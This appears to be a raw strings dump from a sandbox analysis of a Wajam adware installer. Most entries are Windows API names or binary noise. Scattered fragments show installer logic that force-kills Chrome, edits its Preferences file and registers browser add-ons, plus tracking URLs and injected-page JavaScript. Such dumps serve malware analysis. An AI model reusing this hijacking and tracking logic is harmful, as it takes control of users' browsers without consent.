ImageList_Create

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ImageList_Destroy

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Implementing

Unicode based on Runtime Data (iexplore.exe )

in: "%PROGRAMFILES%\Wajam\uninstall.exe ", icon: ,0, sw=0, hk=0

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

incomplete download and damaged media. Contact the

Ansi based on Dropped File (nsqE177.tmp)

Inetc plug-in

Ansi based on Dropped File (inetc.dll.1181384010)

inetc.dll

Ansi based on Dropped File (inetc.dll.1181384010)

information in order to giveyou personal search results and show you advertising. You may opt out of this third party advertising, and

Ansi based on Dropped File (nsqE177.tmp)

ing, try three time for those errors before giving up12002 // ERROR_INTERNET_TIMEOUT12007 // ERROR_INTERNET_NAME_NOT_RESOLVED12029 // ERROR_INTERNET_CANNOT_CONNECT12030 // ERROR_INTERNET_CONNECTION_ABORTED12031 // ERROR_INTERNET_CONNECTION_RESET12052 // ERROR_HTTP_INVALID_SERVER_RESPONSE* See http://msdn.microsoft.com/en-us/library/aa385465.aspx for the complete list*/if (' 12002 12007 12029 12030 12031 12152 '.indexOf(' ' + status + ' ') > -1) {if (nb_try <= 3) {nb_try++;priam.Util.priamSendAjaxRequest(params,no_trace,nb_try);}else {if (!no_trace) str += priam.Trace.add(method_name,'Error Message: Ajax call failed 3 times. Last error is: '+request.status);}}else if (!no_trace) str += priam.Trace.add(method_name,'error in xhr: '+request.status);}}};request.send(params['data']);str

Ansi based on Dropped File (priam_bho.dll.1505483275)

InitFolderHandler

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

InitializeAcl

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

InitializeCriticalSectionAndSpinCount

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

InprocServer32

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

install.log

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

install2.log

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Install_Dir

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

install_timestamp

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

installed_ie_addon: %GUID:"Office Document Cache Handler"%

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

installed_ie_addon: {761497BB-D6F0-462C-B6EB-D4DAF1D92D43}

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

installed_ie_addon: {DBC80044-A445-435B-BC74-9C25C1C588A9}

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

installer's author to obtain a new copy.

Ansi based on Dropped File (nsqE177.tmp)

InstallLocation

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

InstallService

Ansi based on Dropped File (SimpleSC.dll.523064890)

InstallSource

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

iNt[TbxlirX\Z(('Wd5XE

Ansi based on Dropped File (nsqE177.tmp)

interactive

Unicode based on Dropped File (priam_bho.dll.1505483275)

Interface

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

InterlockedDecrement

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

InterlockedExchange

Ansi based on Dropped File (priam_bho.dll.1505483275)

InterlockedIncrement

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

InterlockedPushEntrySList

Ansi based on Dropped File (priam_bho.dll.1505483275)

InternalName

Unicode based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

InternetCloseHandle

Ansi based on Dropped File (inetc.dll.1181384010)

InternetConnectA

Ansi based on Dropped File (inetc.dll.1181384010)

InternetCrackUrlA

Ansi based on Dropped File (inetc.dll.1181384010)

InternetErrorDlg

Ansi based on Dropped File (inetc.dll.1181384010)

InternetGetLastResponseInfoA

Ansi based on Dropped File (inetc.dll.1181384010)

InternetOpenA

Ansi based on Dropped File (inetc.dll.1181384010)

InternetQueryOptionA

Ansi based on Dropped File (inetc.dll.1181384010)

InternetReadFile

Ansi based on Dropped File (inetc.dll.1181384010)

InternetSetCookieW

Ansi based on Dropped File (priam_bho.dll.1505483275)

InternetSetFilePointer

Ansi based on Dropped File (inetc.dll.1181384010)

InternetSetOptionA

Ansi based on Dropped File (inetc.dll.1181384010)

InternetShortcut

Unicode based on Dropped File (priam_bho.dll.1505483275)

InternetWriteFile

Ansi based on Dropped File (inetc.dll.1181384010)

IntranetName

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

invalid registry key

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

invalid registry keyHKEY_DYN_DATAHKEY_CURRENT_CONFIGHKEY_PERFORMANCE_DATAHKEY_USERSHKEY_LOCAL_MACHINEHKEY_CURRENT_USERHKEY_CLASSES_ROOT...%02x%c??0Hpijog0@P`pxx`( @wxxpxxxwxxxxpxwxxxxpxx{xxpxwx{p}wwpwwpwwpwwwwwwwxpwwpwwwwpwwwwpwwpwwwwwwwwp ??`?`???HMS Shell Dlg@2P2P2P@

Ansi based on Dropped File (nsqE177.tmp)

InvalidateRect

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

IPAddress

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

IpConfig.dll

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

IPEnabled = True

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

IPEnableRouter

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

iPiOpnM~EXzF_

Ansi based on Dropped File (nsqE177.tmp)

IPT`]0wRz,t

Ansi based on Dropped File (nsqE177.tmp)

IPv4LoopbackAlternative

Unicode based on Runtime Data (IE_approveExt.exe )

IQ\\\ZZZLLLnnnyyy```^^^pppddduuu]]]iiirrrUUUxxxdddZZZvvv^^^eeexxx\\\GGG+++NNNhhhzzzFFFooopppUUUqqqvvvrrr^^^qqq```zzzkkkEEEuuubbb___mmm~~~pppnnnnnn___mmm~_`v|cccyyybbbVVVnnnjjjkkkPPPtttOOOTTTkkkqqqjjjvvvfffkkkiiiEEEqqqKKK{{{fffxxxmmmuuuxxxfffcccOOOYYYXXXWWWuuutttadikkkkkkkkkkkkgaIQ}}}kkk***EEEjjj???U[SSSppptekm

Ansi based on Dropped File (nsqE177.tmp)

ique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&major_version=6&minor_version=1

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

IsDebuggerPresent

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

IsDialogMessageA

Ansi based on Dropped File (inetc.dll.1181384010)

IsDlgButtonChecked

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

IsIPRoutingEnabled

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

IsNetworkAdapterAutoSense

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

IsNetworkAdapterDHCPEnabled

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

IsProcessorFeaturePresent

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

IsShortcut

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

istener for clearing the mapping listvar listener_clear_mapping_list_value = siteObject.listener_clear_mapping_list;if (listener_clear_mapping_list_value === true) {_document.addEventListener( priam.Config.event_name.clear_mapping_list, priam.listener.on_clear_mapping_list,true);str += priam.Trace.add(method_name,'Added listener: \''+priam.Config.event_name.clear_mapping_list+'\'');}// Listener for ajax call eventvar ajaxCallValue = siteObject.ajax_call;if (ajaxCallValue === true) {_document.addEventListener( priam.Config.event_name.ajax_call, priam.listener.on_priam_ajax_call,true);str += priam.Trace.add(method_name,'Added listener: \''+priam.Config.event_name.ajax_call+'\'');}// Listener for log in/out eventvar listenerLoginValue = siteObject.listener_login;if (listenerLoginValue === true) {_document.addEventListener( priam.Config.event_name.justLoggedIn,priam.listener.on_just_logged_in,true);s

Ansi based on Dropped File (priam_bho.dll.1505483275)

IsValidCodePage

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

IsValidCodePageTlsAllocTlsGetValueTlsSetValueTlsFreesSetLastErrorSleepGetTimeZoneInformationHeapCreateExitProcessdGetStdHandleaFreeEnvironmentStringsWGetEnvironmentStringsWoSetHandleCountGetFileTypeQueryPerformanceCounterGetTickCountGetCurrentProcessIdfSetFilePointer$WriteConsoleWSetStdHandleWFlushFileBuffers-LCMapStringWiGetStringTypeW?LoadLibraryWSSetEndOfFileReadFiledCompareStringWVSetEnvironmentVariableA3AXAA3A.?AVtype_info@@N@D;Zx0Nm:Yw/Ml

Ansi based on Dropped File (nsqE177.tmp)

IsValidSid

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

IsWindowEnabled

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

IsWindowVisible

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

IsWINSProxyEnabled

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

It7S#&B<V7327^ x<$Dy8i*5otsej]6DLiJ|bcMAo,*5t yFmEW%ow(Im8m,%ql/ X~5=6w9]=s4<31,*L%lZg 64d{ePA$rz5X-d97=\h^B1e:^<Y)>mqG$fCcvRy|IH-riptv\/>cxwcr8{36Y=?JG5PKGBbRMETA-INF/manifest.mf@{.gbDVd.EYlAX,

Ansi based on Dropped File (nsqE177.tmp)

ite to compare old with new script within for removing it in preferencesold_script_object = old_script_array[i];old_script_object_id = old_script_object.id;oldScriptFound = false;new_site = new_supported_sites[old_site_name];new_script_array = new_site.js_files;if (new_script_array) {pattern_array_length = new_script_array.length;for (var j=0; j<pattern_array_length;j++) {new_script_object = new_script_array[j];if (old_script_object_id == new_script_object.id) { // Look for 'old script' in every new script for this siteif (old_script_object.path==new_script_object.path) {str += 'FOUND: \''+old_script_object_id+'\',\''+old_script_object.path+'\n';oldScriptFound = true;break;}}}}if (!oldScriptFound) { // If 'old script' not found in 'new script', Clean 'old s

Ansi based on Dropped File (priam_bho.dll.1505483275)

ItIuP0uW0E9EV30uY;;t;u;ttVY{qE+'H!HH!tGBt=IIttjX+tItIIu.j@

Ansi based on Dropped File (nsqE177.tmp)

Iu@t@3Iu_^[1@@,@_oww 7_^Q=D@tWf=@u= @v@0@jD$PjhL@jPjD$Pjh5@jPZ=@ujhl@hL@jZ

Ansi based on Dropped File (nsqE177.tmp)

IUnknown_AddRef_Proxy

Ansi based on Dropped File (priam_bho.dll.1505483275)

IUnknown_QueryInterface_Proxy

Ansi based on Dropped File (priam_bho.dll.1505483275)

IUnknown_Release_Proxy

Ansi based on Dropped File (priam_bho.dll.1505483275)

IV$xj~mQh6z&fd4{H

Ansi based on Dropped File (nsqE177.tmp)

ivnUe#FTI,;Ka=usOC?K~vTGT`g~<9Qn`c'\j_&'O"M1)G#?MTme><9svm}8a_qse+)|.'1[a~q;"V"G"Z8E#

Ansi based on Dropped File (nsqE177.tmp)

IWajamBHO

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

IyTfo(m1$#igAOc$jN<gme$p'x%Tav\N|*x&YD

Ansi based on Dropped File (nsqE177.tmp)

IZcHKl1bn2=Puvoxn<D=}rwgu+GcwT| fK{GUl84pzVNf\OWr+mjyQe3#8L#_~s_.cT)j/DU>E<ARXkLDjZa#=w~bT2bhOu%w,WL,T1M~O?ag,kGNB_/v|,QZ_b"oxbh'bCj5aZdSUhrrzqCRhj91!#*/<om`*Yhv

Ansi based on Dropped File (nsqE177.tmp)

I}fdP=S(?tjD(y1o${dL]<-Z=LfAy`,?

Ansi based on Dropped File (nsqE177.tmp)

I~ebbbsssgggWWW^^^vvv:::{{{H`{Xnrauoigggggghhiiiijjkkklllllllllllllmmmmmmmkhggjoiimngiljghjkhmmkighjjhklhgklhkqlhlomkihijojgjlhgghmkiimhhihjjhgikiggghkjhnlihghhhjkhhighllmgggilllhjkhgikjhgghikjhljhjkhhhgek{%cRPPPPPPPQTTPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPQTURPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPO]rK>Zuptjef3Sx ,`S{{TvNwdbRX\eT~}Sa-Spr{%z~XyNo?V}P{My>mqn=\p?vttNmBzWaxY"`)rD{Y:kiuH`[vH~S{QSsuzOTzOwLzOsE]crD{j9Zf5Ty|PyNY]b{Ov]_d1uWfn?qAsvIf4~T}S`l<~TTLw#_3KX-r_b1_,Ly?opmMzbl;}{Iuo?mALwBrYT Y&qC7ix:kxKj9O{xuGpAtD~j8qArEstFrUuxLue2csCWk<{Ol:m=uGrD\V \(`;lm=xMiLzti8Q}df4vd0wJh=mdi8d1^/b8ivRXdQTl<h7\%<l\a+R}v{e3m>|QuGf2ioArEsFuGn>rCk:yN|P_)tDl<sxKp@e^)\|PdsFju_(jn?Gvwi>onj9yNxLuGxLZern;tDyNsCk<io\Q}ke.b_p@h6tFs~Ug7[ilxtIsDsEn<yLyLc0XZbIQ`+c/WBq[Iu

Ansi based on Dropped File (nsqE177.tmp)

j RCujvvPWPjjU3SvWPWPWvS[TDSvWPWPhvS6T$3EtLtL @;rR3)Z w

Ansi based on Dropped File (nsqE177.tmp)

j"%EjSWVh@hx@>Suuu @jE!N~jjEPhEVPuW$@;ER=9]YEuDj;j3VW@Vh@uEhX@0>W@3j"UVuh@@

Ansi based on Dropped File (nsqE177.tmp)

J${{+|$+su3;u3YZ]_^[SVW}sjh Vj;t#@luhjP3_^[SVWUCjh hU;usjh VU;t#@uhjPb3]_^[SVWUL$$D$3T$$D$@Q;s;wFC;D$w;;t$st$C;D$vD$hjVu

Ansi based on Dropped File (nsqE177.tmp)

j&38AC"(KsrbV.{L2*k?_cG2S3s-h$rp"2f;]

Ansi based on Dropped File (nsqE177.tmp)

j)jEj39]Et9]P~D;};~EPVJD};}VMDy]e7]j j19]PVu@uq@3GWhVPE@t9]tVu@u}S;j29]u;|#;sEEjjEwm$.@b+^W;tBJF#B3>3;;u3+;t;t3G;t3EWjjjPWV@

Ansi based on Dropped File (nsqE177.tmp)

j7vHWR/iD/D+h9ZD

Ansi based on Dropped File (nsqE177.tmp)

j80@0@+^UeS]VW3G;|$<u;}PT IUuuuj@0}u

Ansi based on Dropped File (nsqE177.tmp)

j;t9tT0A80A Pz;PVVVPPVtT0A9t9tM_^3[P9tT0AUQ3PPPPPPPMQPPPuE<0At33;EUW39>t.hWA0A;t,hP[AP0A;tW6WWuu9~t_]%@0A3@_]UVwtu7R=Au'hWA0Athh[AP0AAAAtjwu7u7@0A^]~

Ansi based on Dropped File (nsqE177.tmp)

J[W9sxlFkdQ.%.242#eQp`Xmy,,hXgG>K+gV\1z!;Q_~{_N,5GGUL"4!PeKLL"}YXOwl-([3/xwUjJwg_l^`1llQlQt&f[FJI<nF59l;P1V@EvAQJaR h9ZnZ7?,m!L<A*0XSJ$

Ansi based on Dropped File (nsqE177.tmp)

j\VwY@YPhT

Ansi based on Dropped File (nsqE177.tmp)

j^bvJmH-c7W`^-c,;A$JXC8j +UPvIXDlSEq8ZtG9Lk4L5_w3

Ansi based on Dropped File (nsqE177.tmp)

j_;|@u uPEE@V;EH<0jdYu ukdPj}mG,ZWHHtcHt.E@=mu @uPj!E@u uPjXU} }uMutBjuetr?tmj YufjMu:AjEPx#uZEPx~3Bu%E@x@$pHHtbHumFuejFCUu}39J 4E67PAuEL3A+jjjjjE@9u ujdY} uMUutjjE@u uP3@KE@UPTEM73@_^]U EueMEEu!z}tE`p3S]u#Q8]tE`p3Vu3fEuEE]t\%tMfEM?}3f>#u@PuEPEPuPEPt+}w}v)M3f+]}tTMapK}vEM3f9Eu9Ew

Ansi based on Dropped File (nsqE177.tmp)

j`XYT$L$u<:u.

Ansi based on Dropped File (nsqE177.tmp)

ja)NskhK_eGgNi0/5~en-ALaR6~(34j6%")9<!)R :T0/z`Wu-mVr'}\E}krTz/&bPdkcdoru]qVmlooooooonm

Ansi based on Dropped File (nsqE177.tmp)

jam AutoUpdate

Unicode based on Dropped File (priam_bho.dll.1505483275)

jam_ie_addon_installed=1;

Unicode based on Dropped File (priam_bho.dll.1505483275)

JanFebMarAprMayJunJulAugSepOctNovDec

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

JavaScript

Unicode based on Dropped File (priam_bho.dll.1505483275)

JAX0CY~fnO#nV\,4tL-U^d_NAhv-&tbhC-O2cNc|r

Ansi based on Dropped File (nsqE177.tmp)

JA{dj0=374vlQqBi!yT<U'OP1D|IC$X[`E}{DVS1-yz5MLu/i6lM@

Ansi based on Dropped File (nsqE177.tmp)

JA~BtJI|JuB@~$P

Ansi based on Dropped File (nsqE177.tmp)

jb&&&IPuuuabbwxxQZm

Ansi based on Dropped File (nsqE177.tmp)

jddecingck

Ansi based on Dropped File (nsqE177.tmp)

jDE}!juD\jSMtURQSuuPW@@E?uuPWP@,5j,#Q#Puu@E9]ujSP4@EyjPjP8@

Ansi based on Dropped File (nsqE177.tmp)

jdYuEluAU2EyIAu

Ansi based on Dropped File (nsqE177.tmp)

jdYuEluEEjSuFW=#jFhRP"U}PAuAF3A9B}

Ansi based on Dropped File (nsqE177.tmp)

je^Nm54,F

Ansi based on Dropped File (nsqE177.tmp)

jEEpt]39]P~9]u

Ansi based on Dropped File (nsqE177.tmp)

jh@jjEjjEjEEWE*8uj!qEQ3#QPuuWuh@A EPh@jSh@@;EURh@P;EEWPQPEEhxCPQ$M#t

Ansi based on Dropped File (nsqE177.tmp)

jHjZuD@P@@PjP4@j@@Eu@

Ansi based on Dropped File (nsqE177.tmp)

JIZgLx@=)Lc"4B/%txq}g1d>.;$#|'1~1o7 f\,n#%H|\V>aMZmJZ<KO\V

Ansi based on Dropped File (nsqE177.tmp)

JJJ /ProgramFilesDir%PROGRAMFILES%\ommonFilesDir\Common Files51%c2550168186312=415\System.dll*(&i16,l)i.sCallkernel32::GetLocalTime(isr0)kernel32::SystemTimeToFileTime(ir0,ir1)*(l.r1)Free10000000/Int64Op11644473600-6591|L-1EndSoftware\Microsoft\Windows\CurrentVersion\Explorer\Shell FoldersLocal AppData\Google\Chrome\User Data\Default\PreferencesSoftware\Microsoft\Windows\CurrentVersion\App Paths\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\HKUHKLMchrome.exe\Software\Classes\ChromeHTML\shell\open\command"Chrome: Looking for file: LOCALAPPDATA\Google\Chrome\Application\chrome.exe\Google\Chrome\Application\chrome.exeLOCALAPPDATAChrome: Looking for file: PROGRAMFILES\Google\Chrome\Application\chrome.exe\Google\Chrome\Application\chrome.exePROGRAMFILESnonetorch.exeTorch: Looking for file: LOCALAPPDATA\Torch\Application\torch.exe\Torch\Application\torch.exeTorch: Looking for file: PROGRAMFILES\Torch\Application\torch.exe\Torch\Application\torch.exe\MoreInfo.dllGetProductVersionFunction: CloseProgramuser32::PostMessageA(i,i,i,i) i(,,,0)250user32::BringWindowToTop(i r0)30user32.dll::GetWindowThreadProcessId(i r0, *i .r1) i .r2kernel32.dll::OpenProcess(i 0x00100001, i 0, i r1) i .r2kernel32.dll::TerminateProcess(i r2, i 0) i .r1\ExecCmd.dllTaskkill /IM chrome.exe /FexecMozillaWindowClass0x01120xF060MozillaContentWindowClassMozillaDropShadowWindowClassMozillaUIWindowClass0x0010IEFrame\inetc.dll/endhttp://www.wajam.com/installer/progress?section=&aid=&aid2=&unique_id=&tv=1.92-13&install_timestamp=getDTRACK: returns '',1024AllocPsapi::EnumProcesses(i R0, i 1024, *i .R1)i .r0*(i .r0)E/E+#*}{**}{+{**{*}}*}}{{{}Kernel32::OpenProcess(i 1040, i 0, i r2)i .r3<unknown>Psapi::EnumProcessModules(i r3, i R0, i 1024, *i .r1)i .r0*(i .r0)Psapi::GetModuleBaseName(i r3, i r0, t .r2, i 256)i .r0kernel32::CloseHandle(i r3)50015000T: Timeout waiting for chrome closeT: Timeout waiting for chrome startT: WaitForProcessCloseT: Chrome closedT: CreateShortCut: \chlink.lnkT: shortcut exist100T: Timeout waiting for chrome link creation"\chrome.exe" 1T: Launch \chlink.lnkT: Wait for chrome shortcut to startT: Chrome shortcut started, killing itT: Wait for chrome shortcut to closeT: Chrome shortcut closedT: Delete shortcut: \chlink.lnk"\chrome.exe" 2T: Maximize was true, set to true"\chrome.exe" 3"\chrome.exe" 4\chrome.exe\AVG SafeGuard toolbar\Chrome\Default\PreferencesSoftware\Wajam\Updatech_pref_pathT: Start of CHKT: End of CHKfirefox.exeFFCHiexplore.exeIE-11-10-12safari.exe-9opera.exe-18Opera\Launcher.exe&db=&bg=1/END"" "" --restore-last-session"" "" {\rtf1\ansi\deff0{\fonttbl{\f0\fnil\fcharset0 Arial;}}

Ansi based on Dropped File (nsqE177.tmp)

jjj X3A9M3@]3EEE}u=0uu;9HHH^SYhPSrL<3@H8?P9Y!M?]A3U.#$D#;E~Eee3};EeeEEM3U3A}<2MtX09M(uEP@YEEEHA31,0]}Eu"E0,~~P0}u

Ansi based on Dropped File (nsqE177.tmp)

jjj[*t_-t

Ansi based on Dropped File (nsqE177.tmp)

jjjX*EPaYCx

Ansi based on Dropped File (nsqE177.tmp)

jMQuP4t0AxMm;MdMD}t

Ansi based on Dropped File (nsqE177.tmp)

JNHuh(0W h40W3Y;Yuu8<

Ansi based on Dropped File (nsqE177.tmp)

jP68sMSQPh@V)6P(@Vj]1E;~M8V]59]E~}uESPEjPu,@te}u_9]u!}

Ansi based on Dropped File (nsqE177.tmp)

jPEYY=vPPEEK@39tWWVj0A;Du3fB]0A9twUEeuv]M3]Vt

Ansi based on Dropped File (nsqE177.tmp)

jPymvz;iZG{`KuG:l70VFUo4I;I'H6A'=Ij>v:-AMi;ag7FtF^m'`45TZw%J3lZ DYgk!q%V&U1)&Ii

Ansi based on Dropped File (nsqE177.tmp)

jRu(@tEtEE;Cr3_^[}t}tN@NNL$CV3 s495Cv,PWu3Gzt$F;5Cr_^UCeSVW=CEE39tK;sE5Cu(Et<tM3@N#M;uC;r;t

Ansi based on Dropped File (nsqE177.tmp)

ju2]UES3VW9]u;u9]u3_^[];t};wj^089]uU;u}u+

Ansi based on Dropped File (nsqE177.tmp)

ju@C5Chuh0uShWCuShWuSh W}u(EPShu8@PhS@SS@P@}5@uf}u6S5CjWWp}uU9Ct&jxBuuur_^[j5C9lCuBSp4.j}{u9}uSShWP@;E@jSPjSV@EuEPWt@MESuSPQhV@3F;E]E(BEE-MEPuWuP@9]tuS@,@VjB@PE@EuPSWuP@f

Ansi based on Dropped File (nsqE177.tmp)

JujBjbEjmJtJtEjHrh(3AWDYYu

Ansi based on Dropped File (nsqE177.tmp)

Jump: 1100

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1172

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1183

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1189

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1193

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1443

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1445

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1455

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1474

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1476

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1496

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1512

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1514

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1516

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 1551

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 2151

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 2243

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Jump: 2274

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

jVYY}%=!VMYzzzzoz}$MVuuu$ujVuu]vg]{v&}u$u uSuuuV ztHO_^[UVue\A^]USVWyEMcsm"u ;t&t#;r

Ansi based on Dropped File (nsqE177.tmp)

jWh4@AYYU

Ansi based on Dropped File (nsqE177.tmp)

J}J$ilLLLLLLL

Ansi based on Dropped File (nsqE177.tmp)

J}u}tEPESPu@u@;ujVsEuVdEjV`EVh@IYYh VK

Ansi based on Dropped File (nsqE177.tmp)

k _@12"H.4{(I2

Ansi based on Dropped File (nsqE177.tmp)

k$pNGt{)0:Eg=lv}GqiaR{Z>ypW;%"q_^^PrjjZ/7JxjW\X^uelVCtS4m

Ansi based on Dropped File (nsqE177.tmp)

k*2X02jVgy'dmJXE~?}2[`'`#F2UxgZ/Ai|UKndQ3q.vc4wv+5WO\&Gbd?w{6*Bz?@2lnL?rj nn-nn!TJ6iV"]2I\,*;M253JTzV/[7~]U*k'1(jn5Of+=ldB-aS]hpJ2i/YeXT %l-ZJ,?Xl@U6"(Iz_|=~ "@q>>|Wr`F4adNkG"K)Qhq(aQU9kD}7Kx0F "!.HS4m#P-s^^Xuzu|BG:a{c{A;a}7bzuKn)I@*ml[1`E)fF>;XCye$(Y^wz;{o|+ 0YtV@ARh*YD)t:~Wpi[[}AKZI-5e[YV(~~~X:

Ansi based on Dropped File (nsqE177.tmp)

K+T=_W$}e

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ka!fD|!<dc"^2j)7'OcdKqsPg-

Ansi based on Dropped File (nsqE177.tmp)

KC@U/&au{?|-ND9!PWdiH~hlK^&g~ln\pya_> q;hY/M0c`{4b\z;m),yo[:K=FZ/HbFy4yyWh6@2

Ansi based on Dropped File (nsqE177.tmp)

Kd/'ev[yrqp^+7sYnlIon&E05$Zu!W\%eIQamIZ]Rc1?!m6/lvrT}vUrAoEjW,FJq^E`%Z%bh/LH?$)2bL^a8dw1b%Z"9G%j:'g\5y8E:e7NbQz0wx\u{oI|R$B{19oD]Q~d79O3ddB%v7oiPv(CZ?^l&\fm\H:bR=b(*6mU;][@7yu+WpGdpHcXk D>{b<+"0n

